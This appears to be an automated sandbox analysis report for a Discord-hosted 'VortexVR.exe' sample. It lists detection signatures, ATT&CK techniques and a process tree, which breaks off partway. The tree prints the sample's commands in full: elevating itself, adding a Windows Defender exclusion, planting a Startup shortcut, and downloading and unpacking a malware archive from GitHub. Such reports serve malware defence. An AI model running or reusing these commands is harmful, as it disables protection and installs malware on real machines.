hxxps://cdn[.]discordapp[.]com/attachments/1454884979145441511/1537100980083097771/VortexVR[.]exe?ex=6a7dd057&is=6a7c7ed7&hm=9c1836e624a6cdced1e054a0577c1250bf32d3b1a07ba28b72e0dc94b4e77227&

Analysis

user interaction
yes
max time kernel
4s
max time network
137s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
12/08/2026, 14:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
https://cdn.discordapp.com/attachments/1454884979145441511/1537100980083097771/VortexVR.exe?ex=6a7dd057&is=6a7c7ed7&hm=9c1836e624a6cdced1e054a0577c1250bf32d3b1a07ba28b72e0dc94b4e77227&
Sample260812-rmy8lshr7w

Score

8^/10

discovery execution persistence ransomware

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 25 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2556	powershell.exe
5416	powershell.exe
2324	powershell.exe
8584	powershell.exe
8636	powershell.exe
6188	powershell.exe
928	powershell.exe
4248	powershell.exe
7300	powershell.exe
4480	powershell.exe
4072	powershell.exe
8088	powershell.exe
6920	powershell.exe
7716	powershell.exe
7784	powershell.exe
6364	powershell.exe
8276	powershell.exe
1692	powershell.exe
7216	powershell.exe
9136	powershell.exe
8308	powershell.exe
8020	powershell.exe
4540	powershell.exe
7572	powershell.exe
5204	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
15	5492	msedge.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
19	raw.githubusercontent.com
38	raw.githubusercontent.com

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3452	cmd.exe
3940	cmd.exe
8768	cmd.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
5492	msedge.exe
2972	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{088e3905-0323-4b02-9826-5d99428e115f}\Instance\	msedge.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Instance\	msedge.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3228	reg.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe

Suspicious use of FindShellTrayWindow 40 IoCs

pid	Process
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe

Suspicious use of SendNotifyMessage 16 IoCs

pid	Process
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe
5976	msedge.exe

Suspicious use of WriteProcessMemory 31 IoCs

description	pid	Process	procid_target
PID 5976 wrote to memory of 6044	5976	msedge.exe	88
PID 5976 wrote to memory of 3164	5976	msedge.exe	90
PID 5976 wrote to memory of 5492	5976	msedge.exe	91
PID 5976 wrote to memory of 3164	5976	msedge.exe	90
PID 5976 wrote to memory of 3164	5976	msedge.exe	90
PID 5976 wrote to memory of 2952	5976	msedge.exe	92
PID 5976 wrote to memory of 2952	5976	msedge.exe	92
PID 5976 wrote to memory of 4344	5976	msedge.exe	93
PID 5976 wrote to memory of 2632	5976	msedge.exe	94
PID 5976 wrote to memory of 4344	5976	msedge.exe	93
PID 5976 wrote to memory of 4344	5976	msedge.exe	93
PID 5976 wrote to memory of 2632	5976	msedge.exe	94
PID 5976 wrote to memory of 2632	5976	msedge.exe	94
PID 5976 wrote to memory of 1076	5976	msedge.exe	95
PID 5976 wrote to memory of 1076	5976	msedge.exe	95
PID 5976 wrote to memory of 1076	5976	msedge.exe	95
PID 5976 wrote to memory of 1740	5976	msedge.exe	96
PID 5976 wrote to memory of 1740	5976	msedge.exe	96
PID 5976 wrote to memory of 1740	5976	msedge.exe	96
PID 5976 wrote to memory of 2444	5976	msedge.exe	98
PID 5976 wrote to memory of 2444	5976	msedge.exe	98
PID 5976 wrote to memory of 3040	5976	msedge.exe	99
PID 5976 wrote to memory of 3040	5976	msedge.exe	99
PID 5976 wrote to memory of 1508	5976	msedge.exe	100
PID 5976 wrote to memory of 1508	5976	msedge.exe	100
PID 5976 wrote to memory of 5176	5976	msedge.exe	102
PID 5976 wrote to memory of 4144	5976	msedge.exe	101
PID 5976 wrote to memory of 4144	5976	msedge.exe	101
PID 5976 wrote to memory of 4144	5976	msedge.exe	101
PID 5976 wrote to memory of 5204	5976	msedge.exe	119
PID 5976 wrote to memory of 5204	5976	msedge.exe	119

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://cdn.discordapp.com/attachments/1454884979145441511/1537100980083097771/VortexVR.exe?ex=6a7dd057&is=6a7c7ed7&hm=9c1836e624a6cdced1e054a0577c1250bf32d3b1a07ba28b72e0dc94b4e77227&
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:5976
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x260,0x264,0x268,0x25c,0x288,0x7ffbe17bc188,0x7ffbe17bc194,0x7ffbe17bc1a0
  2⤵
  PID:6044
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1544,i,18410633960345158040,11519361749276386165,262144 --field-trial-handle=2228,i,14241148534392411654,18231891269095009041,262144 --variations-seed-version --mojo-platform-channel-handle=2204 /prefetch:2
  2⤵
  PID:3164
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1880,i,10248278054770114392,7432488717737334848,524288 --field-trial-handle=2228,i,14241148534392411654,18231891269095009041,262144 --variations-seed-version --mojo-platform-channel-handle=2256 /prefetch:11
  2⤵
  - Downloads MZ/PE file
  - System Time Discovery
  PID:5492
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2440,i,5869284260350094462,14382355011227505094,524288 --field-trial-handle=2228,i,14241148534392411654,18231891269095009041,262144 --variations-seed-version --mojo-platform-channel-handle=3080 /prefetch:13
  2⤵
  PID:2952
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3468,i,11108898797969326639,13025230170848349686,2097152 --field-trial-handle=2228,i,14241148534392411654,18231891269095009041,262144 --variations-seed-version --mojo-platform-channel-handle=3540 /prefetch:1
  2⤵
  PID:4344
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3472,i,13117331594350133903,8118577163349238216,2097152 --field-trial-handle=2228,i,14241148534392411654,18231891269095009041,262144 --variations-seed-version --mojo-platform-channel-handle=3544 /prefetch:1
  2⤵
  PID:2632
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4264,i,937380569053703084,7821242888106710557,2097152 --field-trial-handle=2228,i,14241148534392411654,18231891269095009041,262144 --variations-seed-version --mojo-platform-channel-handle=4748 /prefetch:1
  2⤵
  PID:1076
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4276,i,15771900628699204328,7129145062093589307,2097152 --field-trial-handle=2228,i,14241148534392411654,18231891269095009041,262144 --variations-seed-version --mojo-platform-channel-handle=4752 /prefetch:9
  2⤵
  PID:1740
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5280,i,18434705553487258974,979941896598966396,524288 --field-trial-handle=2228,i,14241148534392411654,18231891269095009041,262144 --variations-seed-version --mojo-platform-channel-handle=5404 /prefetch:14
  2⤵
  PID:2444
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5288,i,14205454818084266521,2828369020269036035,524288 --field-trial-handle=2228,i,14241148534392411654,18231891269095009041,262144 --variations-seed-version --mojo-platform-channel-handle=5424 /prefetch:14
  2⤵
  PID:3040
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5744,i,2774203069137106594,2332766996336550945,524288 --field-trial-handle=2228,i,14241148534392411654,18231891269095009041,262144 --variations-seed-version --mojo-platform-channel-handle=5864 /prefetch:14
  2⤵
  PID:1508
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --always-read-main-dll --metrics-shmem-handle=5932,i,15684145257586413162,18049305463387812826,2097152 --field-trial-handle=2228,i,14241148534392411654,18231891269095009041,262144 --variations-seed-version --mojo-platform-channel-handle=5876 /prefetch:1
  2⤵
  PID:4144
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6020,i,8054303433448428415,12925014539880129988,524288 --field-trial-handle=2228,i,14241148534392411654,18231891269095009041,262144 --variations-seed-version --mojo-platform-channel-handle=6100 /prefetch:14
  2⤵
  PID:5176
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --lang=en-US --service-sandbox-type=icon_reader --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6444,i,11181970100070688664,11466702461452678312,524288 --field-trial-handle=2228,i,14241148534392411654,18231891269095009041,262144 --variations-seed-version --mojo-platform-channel-handle=6436 /prefetch:14
  2⤵
  PID:5204
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6992,i,5283548538382562246,476563637195328954,524288 --field-trial-handle=2228,i,14241148534392411654,18231891269095009041,262144 --variations-seed-version --mojo-platform-channel-handle=6896 /prefetch:14
  2⤵
  PID:2796
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6992,i,5283548538382562246,476563637195328954,524288 --field-trial-handle=2228,i,14241148534392411654,18231891269095009041,262144 --variations-seed-version --mojo-platform-channel-handle=6896 /prefetch:14
  2⤵
  PID:2616
- C:\Users\Admin\Downloads\VortexVR.exe
  "C:\Users\Admin\Downloads\VortexVR.exe"
  2⤵
  PID:4388
- - C:\Windows\system32\cmd.exe
    "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\987D.tmp\987E.tmp\987F.bat C:\Users\Admin\Downloads\VortexVR.exe"
    3⤵
    - Executes a command shell one-liner
    PID:3452
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell start -verb runas 'C:\Users\Admin\Downloads\VortexVR.exe' am_admin
      4⤵
      PID:2532
    - - C:\Users\Admin\Downloads\VortexVR.exe
        
        "C:\Users\Admin\Downloads\VortexVR.exe" am_admin
        5⤵
        
        PID:1184
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\9BD9.tmp\9BDA.tmp\9BDB.bat C:\Users\Admin\Downloads\VortexVR.exe am_admin"
        6⤵
        Executes a command shell one-liner
        
        PID:3940
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\Downloads"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2556
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "$WshShell = New-Object -comObject WScript.Shell; $Shortcut = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VortexVR.lnk'); $Shortcut.TargetPath = 'C:\Users\Admin\Downloads\VortexVR.exe'; $Shortcut.Save()"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1692
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Invoke-WebRequest -Uri 'https://github.com/pankoza2-pl/salinewin.exe-Malware/raw/main/old/salinewin.zip' -OutFile \"C:\Users\Admin\Downloads\salinewin.zip\""
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5204
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -command "Expand-Archive -Force -Path 'C:\Users\Admin\Downloads\salinewin.zip' -DestinationPath 'C:\Users\Admin\Downloads\ExtractedFiles'"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:928
        
        C:\Windows\system32\where.exe
        
        where chrome
        7⤵
        
        PID:256
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --new-window "https://youareanidiot.cc/lol.html"
        7⤵
        
        PID:2696
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ffbe141c728,0x7ffbe141c734,0x7ffbe141c740
        8⤵
        
        PID:2404
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1628,i,1349221324126415479,11635050947185696033,262144 --field-trial-handle=2080,i,11060392070800578944,11910509930291128597,262144 --variations-seed-version --mojo-platform-channel-handle=2076 /prefetch:2
        8⤵
        
        PID:1420
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1476,i,2036890575189456712,5730721942945792279,524288 --field-trial-handle=2080,i,11060392070800578944,11910509930291128597,262144 --variations-seed-version --mojo-platform-channel-handle=2108 /prefetch:11
        8⤵
        System Time Discovery
        
        PID:2972
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3004,i,2507504017764528047,3440504912795340692,2097152 --field-trial-handle=2080,i,11060392070800578944,11910509930291128597,262144 --variations-seed-version --mojo-platform-channel-handle=3048 /prefetch:1
        8⤵
        
        PID:3020
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3008,i,11761778218250081676,3713045349713031204,2097152 --field-trial-handle=2080,i,11060392070800578944,11910509930291128597,262144 --variations-seed-version --mojo-platform-channel-handle=3068 /prefetch:1
        8⤵
        
        PID:2044
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2236,i,5698583891816864741,11113928375912564850,524288 --field-trial-handle=2080,i,11060392070800578944,11910509930291128597,262144 --variations-seed-version --mojo-platform-channel-handle=2212 /prefetch:13
        8⤵
        
        PID:5900
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4704,i,2744898855089482057,2103255754142918898,524288 --field-trial-handle=2080,i,11060392070800578944,11910509930291128597,262144 --variations-seed-version --mojo-platform-channel-handle=4660 /prefetch:14
        8⤵
        
        PID:5904
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=4840,i,16443132317830129862,15897268963807236091,524288 --field-trial-handle=2080,i,11060392070800578944,11910509930291128597,262144 --variations-seed-version --mojo-platform-channel-handle=4724 /prefetch:12
        8⤵
        
        PID:1984
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5264,i,120637128298605239,13448873818093594429,2097152 --field-trial-handle=2080,i,11060392070800578944,11910509930291128597,262144 --variations-seed-version --mojo-platform-channel-handle=5272 /prefetch:1
        8⤵
        
        PID:7772
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5936,i,2443402547029008429,5437158664784837354,524288 --field-trial-handle=2080,i,11060392070800578944,11910509930291128597,262144 --variations-seed-version --mojo-platform-channel-handle=5908 /prefetch:14
        8⤵
        
        PID:8088
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=6000,i,11770495261817078803,12383765717994403694,2097152 --field-trial-handle=2080,i,11060392070800578944,11910509930291128597,262144 --variations-seed-version --mojo-platform-channel-handle=6064 /prefetch:1
        8⤵
        
        PID:7316
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=6068,i,16319074619041607032,9310487213362929171,2097152 --field-trial-handle=2080,i,11060392070800578944,11910509930291128597,262144 --variations-seed-version --mojo-platform-channel-handle=6088 /prefetch:1
        8⤵
        
        PID:7376
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --metrics-shmem-handle=6124,i,10607940668030132822,10528095300013628987,2097152 --field-trial-handle=2080,i,11060392070800578944,11910509930291128597,262144 --variations-seed-version --mojo-platform-channel-handle=6000 /prefetch:1
        8⤵
        
        PID:7268
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6228,i,3923214179296475570,8934222509250373285,524288 --field-trial-handle=2080,i,11060392070800578944,11910509930291128597,262144 --variations-seed-version --mojo-platform-channel-handle=6088 /prefetch:14
        8⤵
        
        PID:7404
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=6516,i,13963743418478992648,10592156219787994277,2097152 --field-trial-handle=2080,i,11060392070800578944,11910509930291128597,262144 --variations-seed-version --mojo-platform-channel-handle=6476 /prefetch:1
        8⤵
        
        PID:5256
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=3200,i,5390888026273991602,2773280463171484836,2097152 --field-trial-handle=2080,i,11060392070800578944,11910509930291128597,262144 --variations-seed-version --mojo-platform-channel-handle=6124 /prefetch:1
        8⤵
        
        PID:4288
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=3144,i,7318103337028502421,2072760846768097016,2097152 --field-trial-handle=2080,i,11060392070800578944,11910509930291128597,262144 --variations-seed-version --mojo-platform-channel-handle=6452 /prefetch:1
        8⤵
        
        PID:7728
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6516,i,11767009700405032812,11617905755016924560,524288 --field-trial-handle=2080,i,11060392070800578944,11910509930291128597,262144 --variations-seed-version --mojo-platform-channel-handle=4528 /prefetch:14
        8⤵
        
        PID:6016
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
